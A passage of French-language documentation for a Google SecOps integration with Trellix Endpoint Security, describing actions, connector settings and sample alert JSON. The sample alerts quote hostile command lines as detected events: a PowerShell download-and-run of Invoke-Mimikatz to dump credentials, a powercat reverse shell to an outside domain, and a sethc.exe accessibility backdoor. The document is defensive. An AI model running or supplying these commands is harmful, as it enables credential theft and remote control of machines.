                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "request_actor": {
                "username": "admin",
                "_id": 1000
            },
            "request_time": "2020-06-01T08:43:14.000Z",
            "finish_time": "2020-06-01T08:46:39.156Z",
            "_revision": "20200601084639156575147403",
            "error_message": "The acquisition completed with issues.",
            "req_use_api": false,
            "alert": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "url": "/hx/api/v3/acqs/files/9",
            "state": "COMPLETE",
            "host": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id":
                "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "req_filename": "reg.exe",
            "req_path": "C:\\\\Windows\\\\System32",
            "_id": 9,
            "external_id": null,
            "condition": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "md5": "601bddf7691c5af626a5719f1d7e35f1"
        }],
        "Entity": "PC-01"
    }
]

Contient des alertes de logiciels malveillants

Description

Vérifiez si des alertes de logiciels malveillants sont listées pour les entités d'hôte ou d'adresse IP Google SecOps fournies sur le serveur Trellix Endpoint Security.

Exécuter sur

Cette action s'exécute sur les entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "EntityResult": {
            "alerting_conditions": 10,
            "exploit_alerts": 0,
            "acqs": 4,
            "malware_false_positive_alerts": 0,
            "alerts": 10,
            "exploit_blocks": 0,
            "false_positive_alerts": 0,
            "malware_cleaned_count": 0,
            "malware_alerts": 0,
            "false_positive_alerts_by_source": {},
            "generic_alerts": 0,
            "malware_quarantined_count": 0
        },
        "Entity": "PC-01"
    }
]

Ping

Description

Testez la connectivité au serveur Trellix Endpoint Security avec les paramètres fournis sur la page de configuration de l'intégration dans Google SecOps Content Hub.

Exécuter sur

Cette action s'exécute sur toutes les entités.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

N/A

Confirmer les groupes d'alertes

Description

Acceptez les groupes d'alertes gérés par Google SecOps pour une meilleure synchronisation entre la plate-forme HX et Google SecOps.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
ID des groupes d'alertes	Liste d'éléments séparés par une virgule	N/A	Oui	Spécifiez les ID des groupes d'alertes que vous souhaitez confirmer, dans une liste d'éléments séparés par une virgule.
Confirmation	LDD	Confirmer	Oui	Indiquez si vous souhaitez confirmer ou annuler la confirmation des groupes d'alertes spécifiés.
Commentaire de confirmation	Chaîne	N/A	Non	Spécifiez le commentaire d'accusé de réception que vous souhaitez ajouter aux groupes d'alertes concernés.
Limite	Integer	N/A	Non	Spécifiez le nombre maximal de listes de groupes d'alertes renvoyées par l'API, dans le résultat JSON.

Exécuter sur

Cette action ne s'exécute pas sur les entités, elle comporte un paramètre d'entrée obligatoire.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": "4532f4d8d50ab50a7830e2823ac488fd",
                "assessment": "[Process powershell.exe started] POWERSHELL DOWNLOADER (METHODOLOGY)",
                "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                "first_event_at": "2020-08-17T12:03:38.496Z",
                "last_event_at": "2020-12-10T08:02:22.561Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 718,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                        "url": "/hx/api/v3/conditions/yQjMv_j5PKfjL8Qu5uSm4A=="
                    },
                    "event_at": "2020-08-17T12:03:38.496+00:00",
                    "matched_at": "2020-12-10T09:26:55+00:00",
                    "reported_at": "2020-12-10T09:27:08.624+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [
                        "cda48fc75952ad12d99e526d0b6bf70a"
                    ],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/718",
                    "event_id": 39882,
                    "event_type": "processEvent",
                    "event_values": {
                        "processEvent/timestamp": "2020-08-17T12:03:38.496Z",
                        "processEvent/eventType": "start",
                        "processEvent/pid": 9896,
                        "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                        "processEvent/process": "powershell.exe",
                        "processEvent/parentPid": 5560,
                        "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                        "processEvent/parentProcess": "cmd.exe",
                        "processEvent/username": "FIREEYE-LAB\\Administrator",
                        "processEvent/startTime": "2020-08-17T12:03:38.496Z",
                        "processEvent/md5": "cda48fc75952ad12d99e526d0b6bf70a",
                        "processEvent/processCmdLine": "powershell.exe  \"iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds\" "
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 3
                },
                "url": "/hx/api/v3/alert_groups/4532f4d8d50ab50a7830e2823ac488fd",
                "created_at": "2020-12-10T09:26:56.056Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            },
            {
                "_id": "e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "assessment": "[Registry key event] EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                "file_full_path": "",
                "first_event_at": "2020-12-10T08:04:09.521Z",
                "last_event_at": "2020-12-10T09:26:14.114Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 723,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "2npvcLf_arxPaH717hQZ9g==",
                        "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                    },
                    "event_at": "2020-12-10T09:26:14.114+00:00",
                    "matched_at": "2020-12-10T09:26:56+00:00",
                    "reported_at": "2020-12-10T09:27:08.735+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/723",
                    "event_id": 880771,
                    "event_type": "regKeyEvent",
                    "event_values": {
                        "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                        "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                        "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                        "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                        "regKeyEvent/eventType": 1,
                        "regKeyEvent/pid": 8740,
                        "regKeyEvent/process": "reg.exe",
                        "regKeyEvent/processPath": "C:\\Windows\\System32",
                        "regKeyEvent/valueName": "Debugger",
                        "regKeyEvent/valueType": "REG_SZ",
                        "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                        "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                        "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 2
                },
                "url": "/hx/api/v3/alert_groups/e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "created_at": "2020-12-10T08:04:54.740Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "2npvcLf_arxPaH717hQZ9g==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups"
}

Mur des cas

Type de résultat	Valeur/Description	Type
Message de sortie*	L'action ne doit pas échouer ni arrêter l'exécution d'un playbook : En cas de réussite : si (total) est égal à (nombre d'ID de groupes d'alertes) - "L'état d'accusé de réception a bien été mis à jour pour tous les groupes d'alertes" Si certaines ont réussi et d'autres non (le nombre d'ID fournis est supérieur au total) : "Successfully fetched alerts for the following alert group IDs: {succesfull_alert_groups_ids}" "Couldn't fetch alerts for the following alert group IDs: {not_succesfull_slert_group_ids}" Si aucun détail de groupe d'alertes n'a été récupéré : "Impossible de récupérer les alertes pour l'ID de groupe d'alertes fourni. Veuillez vérifier les ID fournis, puis réessayer" L'action doit échouer et arrêter l'exécution d'un playbook : en cas d'échec : "Échec de l'exécution de l'action "Get Alerts In Alerts Group" (exception.stacktrace)	Général

Type de résultat

Valeur/Description

Type

Message de sortie*

L'action ne doit pas échouer ni arrêter l'exécution d'un playbook :
En cas de réussite : si (total) est égal à (nombre d'ID de groupes d'alertes) -

"L'état d'accusé de réception a bien été mis à jour pour tous les groupes d'alertes"

Si certaines ont réussi et d'autres non (le nombre d'ID fournis est supérieur au total) : "Successfully fetched alerts for the following alert group IDs: {succesfull_alert_groups_ids}"
"Couldn't fetch alerts for the following alert group IDs: {not_succesfull_slert_group_ids}"

Si aucun détail de groupe d'alertes n'a été récupéré :

"Impossible de récupérer les alertes pour l'ID de groupe d'alertes fourni. Veuillez vérifier les ID fournis, puis réessayer"

L'action doit échouer et arrêter l'exécution d'un playbook :
en cas d'échec : "Échec de l'exécution de l'action "Get Alerts In Alerts Group" (exception.stacktrace)

Général

Obtenir des groupes d'alertes d'hôte

Description

Répertoriez les groupes d'alertes liés à un hôte dans Trellix Endpoint Security. Entités compatibles : nom d'hôte, adresse IP.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
Filtre d'accusé de réception	LDD	TOUT Confirmées uniquement Non confirmés uniquement	Non	Indiquez si vous souhaitez renvoyer tous les groupes d'alertes ou seulement ceux qui ont été confirmés/non confirmés.
Nombre maximal de groupes d'alertes à renvoyer	Integer	20	Non	Spécifiez le nombre de groupes d'alertes à renvoyer par entité. Par défaut : 20.

Nom à afficher du paramètre

Type

Valeur par défaut

Est obligatoire

Description

Filtre d'accusé de réception

LDD

TOUT

Confirmées uniquement

Non confirmés uniquement

Non

Indiquez si vous souhaitez renvoyer tous les groupes d'alertes ou seulement ceux qui ont été confirmés/non confirmés.

Nombre maximal de groupes d'alertes à renvoyer

Integer

Non

Spécifiez le nombre de groupes d'alertes à renvoyer par entité. Par défaut : 20.

Exécuter sur

Cette action s'exécute sur les entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "_id": "6d9a68f2a78f8d983bd3c0f4556785e6",
    "assessment": "[Heur.BZC.ONG.Cheetah.3.1C89233F]",
    "file_full_path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
    "first_event_at": "2021-07-01T09:44:18.809Z",
    "last_event_at": "2021-07-01T09:44:18.809Z",
    "dispositions": [],
    "source": "MAL",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 812,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "event_at": "2021-07-01T09:44:18.809+00:00",
        "matched_at": "2021-07-01T09:44:18.809+00:00",
        "reported_at": "2021-07-01T09:44:20.353+00:00",
        "source": "MAL",
        "resolution": "QUARANTINED",
        "decorators": [],
        "md5values": [
            "36be03ea88f7d1effcafeeb65e0e1e57"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/812",
        "condition": null,
        "event_id": null,
        "event_type": null,
        "event_values": {
            "system-data": {
                "xmlns": "http://www.fireeye.com/antimalware-alert",
                "xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance",
                "xsi:schemaLocation": "http://www.fireeye.com/antimalware-alert AM-alert.xsd",
                "alert-version": "3",
                "correlation-id": "d01e8ea6-4d34-4005-8482-3ccc026e11ea",
                "timestamp": "2021-07-01T09:44:18.809Z",
                "product-version": "32.36.0",
                "engine-version": "11.0.1.19",
                "content-version": "7.86346",
                "mg-engine-version": "32.30.0.8460",
                "mg-content-version": "25",
                "whitelist-schema-version": "1.0.0",
                "whitelist-content-version": "1.32.1"
            },
            "os-details": {
                "$": {
                    "name": "windows",
                    "version": "10.0.14393",
                    "patch": "0",
                    "os-arch": "64-bit",
                    "os-language": "en-US"
                }
            },
            "scan-type": "oas",
            "scanned-object": {
                "scanned-object-type": "file-event",
                "file-event": {
                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                    "actor-process": {
                        "pid": "1268",
                        "path": "C:\\Windows\\System32\\xcopy.exe",
                        "user": {
                            "username": "",
                            "domain": ""
                        }
                    },
                    "sub-type": "FILE_OPERATION_CLOSED"
                }
            },
            "detections": {
                "detection": [
                    {
                        "engine": {
                            "engine-type": "av",
                            "engine-version": "11.0.1.19",
                            "content-version": "7.86346"
                        },
                        "infected-object": {
                            "object-type": "file",
                            "file-object": {
                                "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                "inner-file-path": "",
                                "original-file-name": "",
                                "container": "false",
                                "packed": "false",
                                "hidden": "false",
                                "system-file": "false",
                                "read-only": "false",
                                "temporary": "false",
                                "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                "size-in-bytes": "753",
                                "creation-time": "2021-07-01T09:41:47.610Z",
                                "modification-time": "2020-05-29T09:34:17.066Z",
                                "access-time": "2021-07-01T09:41:47.610Z"
                            }
                        },
                        "infection": {
                            "confidence-level": "high",
                            "infection-type": "malware",
                            "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F"
                        },
                        "action": {
                            "actioned-object": {
                                "object-type": "file",
                                "file-object": {
                                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                    "inner-file-path": "",
                                    "original-file-name": "",
                                    "container": "false",
                                    "packed": "false",
                                    "hidden": "false",
                                    "system-file": "false",
                                    "read-only": "false",
                                    "temporary": "false",
                                    "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                    "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                    "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                    "size-in-bytes": "753",
                                    "creation-time": "2021-07-01T09:41:47.610Z",
                                    "modification-time": "2020-05-29T09:34:17.066Z",
                                    "access-time": "2021-07-01T09:41:47.610Z"
                                }
                            },
                            "requested-action": "clean",
                            "applied-action": "quarantine",
                            "result": "success",
                            "error": "0",
                            "reboot-required": "false"
                        }
                    }
                ]
            },
            "scan-statistics": {
                "total-scan-time-in-ms": "12227"
            }
        },
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/6d9a68f2a78f8d983bd3c0f4556785e6",
    "created_at": "2021-07-01T09:44:23.726Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
        "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
        "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F",
        "detected_by": "malware_file_access_scan",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }
},
{
    "_id": "0043aa34dea99c23996c2f16291cdb4e",
    "assessment": "[Process powershell.exe started] POWERCAT (UTILITY)",
    "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "first_event_at": "2021-07-01T09:41:50.428Z",
    "last_event_at": "2021-07-01T09:41:50.428Z",
    "dispositions": [],
    "source": "IOC",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 811,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "condition": {
            "_id": "KBvTAC_L_GiI9BZbph2GoA==",
            "url": "/hx/api/v3/conditions/KBvTAC_L_GiI9BZbph2GoA=="
        },
        "event_at": "2021-07-01T09:41:50.428+00:00",
        "matched_at": "2021-07-01T09:43:29+00:00",
        "reported_at": "2021-07-01T09:44:09.339+00:00",
        "source": "IOC",
        "resolution": "ALERT",
        "decorators": [],
        "md5values": [
            "097ce5761c89434367598b34fe32893b"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/811",
        "event_id": 11311494,
        "event_type": "processEvent",
        "event_values": {
            "processEvent/timestamp": "2021-07-01T09:41:50.428Z",
            "processEvent/eventType": "start",
            "processEvent/pid": 3676,
            "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
            "processEvent/process": "powershell.exe",
            "processEvent/parentPid": 2496,
            "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
            "processEvent/parentProcess": "cmd.exe",
            "processEvent/username": "FIREEYE-LAB\\Administrator",
            "processEvent/startTime": "2021-07-01T09:41:50.428Z",
            "processEvent/md5": "097ce5761c89434367598b34fe32893b",
            "processEvent/processCmdLine": "powershell  -Exec Bypass \". \\\"C:\\TMP\\nc.ps1\\\";powercat -c www.googleaccountsservices.com -p 80 -t 2 -e cmd\""
        },
        "multiple_match": "Multiple Indicators Matched.",
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/0043aa34dea99c23996c2f16291cdb4e",
    "created_at": "2021-07-01T09:44:13.744Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "condition_id": "KBvTAC_L_GiI9BZbph2GoA==",
        "detected_by": "ioc_engine",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }

Mur des cas

Type de résultat	Valeur/Description	Type
Message de sortie\*	L'action ne doit pas échouer ni arrêter l'exécution d'un playbook : si des données sont disponibles pour une entité(is_success = true) : "Successfully retrieved alert groups for the following entities in Trellix Endpoint Security: {entity.identifier}". Si les données ne sont pas disponibles pour l'une d'elles(is_success = true) : "L'action n'a pas pu récupérer les groupes d'alertes pour les entités suivantes dans Trellix Endpoint Security : {entity.identifier}". Si les données ne sont pas disponibles pour tous(is_success=false) : "No alert groups were found for the provided entities in Trellix Endpoint Security". L'action doit échouer et arrêter l'exécution d'un playbook : en cas d'erreur fatale, comme des identifiants incorrects, l'absence de connexion au serveur, etc. : "Error executing action "Get Host Alert Groups". Reason: {0}''.format(error.Stacktrace)	Général
Tableau du mur des cas	Colonnes : Évaluation ID du groupe d'alertes Premier événement le Dernier événement le Confirmé Nombre d'événements Détecté par	Entité

Type de résultat

Valeur/Description

Type

Message de sortie\*

L'action ne doit pas échouer ni arrêter l'exécution d'un playbook :
si des données sont disponibles pour une entité(is_success = true) : "Successfully retrieved alert groups for the following entities in Trellix Endpoint Security: {entity.identifier}".

Si les données ne sont pas disponibles pour l'une d'elles(is_success = true) : "L'action n'a pas pu récupérer les groupes d'alertes pour les entités suivantes dans Trellix Endpoint Security : {entity.identifier}".

Si les données ne sont pas disponibles pour tous(is_success=false) : "No alert groups were found for the provided entities in Trellix Endpoint Security".

L'action doit échouer et arrêter l'exécution d'un playbook :
en cas d'erreur fatale, comme des identifiants incorrects, l'absence de connexion au serveur, etc. : "Error executing action "Get Host Alert Groups". Reason: {0}''.format(error.Stacktrace)

Général

Tableau du mur des cas

Colonnes :

Évaluation
ID du groupe d'alertes
Premier événement le
Dernier événement le
Confirmé
Nombre d'événements
Détecté par

Entité

Connecteurs

Connecteur d'alertes FireEye HX

Description

Le connecteur d'alertes de sécurité Trellix Endpoint Security de Google SecOps SOAR ingère les alertes générées sur le serveur Trellix Endpoint Security.

Le connecteur se connecte régulièrement au point de terminaison du serveur d'API Trellix Endpoint Security et récupère une liste d'alertes générées pour une période spécifique. Si de nouvelles alertes sont présentes, le connecteur crée des alertes Google SecOps SOAR en fonction des alertes Trellix Endpoint Security et enregistre le code temporel du connecteur comme heure de la dernière alerte ingérée avec succès. Lors de la prochaine exécution du connecteur, celui-ci n'interrogera l'API Trellix Endpoint Security que pour les alertes créées à partir du code temporel (code temporel plus un décalage "technique" pour ne pas "bloquer" le connecteur). Si aucune nouvelle alerte n'est trouvée, l'exécution en cours se termine.

Autorisations des API

Le connecteur Trellix Endpoint Security Alerts utilise les mêmes méthodes d'authentification et autorisations d'API que l'intégration FireEye existante. Pour utiliser les alertes FireEye, le compte qui sera utilisé pour l'intégration doit disposer du rôle "API Analyst" ou "API Admin".

Configurer le connecteur d'alertes FireEye HX dans Google SecOps

Pour obtenir des instructions détaillées sur la configuration d'un connecteur dans Google SecOps, consultez Configurer le connecteur.

Paramètres du connecteur

Utilisez les paramètres suivants pour configurer le connecteur :

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
Nom du champ de produit	Chaîne	ProductName	Oui	Description définie par la plate-forme. Le champ est immuable.
Nom du champ d'événement	Chaîne	AlertName	Oui	Description définie par la plate-forme. Le champ est immuable.
Nom du champ d'environnement	Chaîne	""	Non	Nom du champ dans lequel le nom de l'environnement est stocké. Si le champ d'environnement est introuvable, l'environnement est "".
Modèle d'expression régulière de l'environnement	Chaîne	.*	Non	Modèle d'expression régulière à exécuter sur la valeur trouvée dans le champ "Nom du champ d'environnement". La valeur par défaut est ".*" pour tout récupérer et renvoyer la valeur inchangée. Permet à l'utilisateur de manipuler le champ "environment" à l'aide d'une logique d'expression régulière. Si le modèle d'expression régulière est nul ou vide, ou si la valeur de l'environnement est nulle, le résultat final de l'environnement est "".
Délai avant expiration du script (en secondes)	Entier	180	Oui	Délai avant expiration du processus Python exécutant le script actuel.
Racine de l'API	Chaîne	https://x.x.x.x:<port>	Oui	URL racine de l'API Trellix Endpoint Security Server
Nom d'utilisateur	Chaîne	N/A	Oui	Utilisateur Trellix Endpoint Security à authentifier
Mot de passe	Mot de passe	N/A	Oui	Mot de passe de l'utilisateur Trellix Endpoint Security pour l'authentification
Vérifier le protocole SSL	Case à cocher	Cochée	Oui	Si cette option est spécifiée, le connecteur vérifie si Trellix Endpoint Security est configuré avec un certificat SSL valide. Si le certificat n'est pas valide, le connecteur renvoie une erreur.
Heure du décalage en heures	Integer	24	Oui	Récupérez les alertes des X dernières heures.
Nombre maximal d'alertes par cycle	Integer	25	Oui	Nombre d'alertes à traiter lors d'une exécution du connecteur.
Type d'alerte	Chaîne	active_threat	Non	Spécifiez les types d'alertes de sécurité Trellix Endpoint à ingérer. Par défaut, il est défini sur "active_threat" pour renvoyer les alertes à l'état "ALERT" et "QUARANTINED/partial_block". L'autre paramètre valide est ALERT, qui ne renvoie que les alertes ouvertes.
Utiliser la liste d'autorisation comme liste de blocage	Case à cocher (checkbox)	Décochée	Oui	Si cette option est activée, la liste d'autorisation sera utilisée comme liste de blocage.
Adresse du serveur proxy	IP_OR_HOST	N/A	Non	Serveur proxy à utiliser pour la connexion.
Nom d'utilisateur du serveur proxy	Chaîne	N/A	Non	Nom d'utilisateur du serveur proxy.
Mot de passe du serveur proxy	Mot de passe	N/A	Non	Mot de passe du serveur proxy.

Règles du connecteur

Liste de blocage : les règles de liste de blocage doivent être acceptées, mais le connecteur utilise par défaut la logique de liste d'autorisation.
Règles de liste d'autorisation : utilisées par défaut.
Compatibilité avec les proxys : le connecteur est compatible avec les proxys.
ConnectorRules par défaut

RuleType(Whitelist \ Blacklist)	RuleName (chaîne)
WhiteList	Dans cette section, spécifiez les alertes à ingérer en fonction des attributs de source et de sous-type d'alerte. Par exemple, "IOC" pour les alertes d'indicateur, "MAL AV" pour n'ingérer que les alertes de logiciels malveillants avec le sous-type "AV", ou "MAL" pour ingérer toutes les alertes de logiciels malveillants, quel que soit le sous-type. Pour ingérer toutes les alertes, supprimez tout le contenu de la section de la liste d'autorisation.

RuleType(Whitelist \ Blacklist)

RuleName (chaîne)

WhiteList

Dans cette section, spécifiez les alertes à ingérer en fonction des attributs de source et de sous-type d'alerte. Par exemple, "IOC" pour les alertes d'indicateur, "MAL AV" pour n'ingérer que les alertes de logiciels malveillants avec le sous-type "AV", ou "MAL" pour ingérer toutes les alertes de logiciels malveillants, quel que soit le sous-type. Pour ingérer toutes les alertes, supprimez tout le contenu de la section de la liste d'autorisation.

Vous avez encore besoin d'aide ? Obtenez des réponses de membres de la communauté et de professionnels Google SecOps.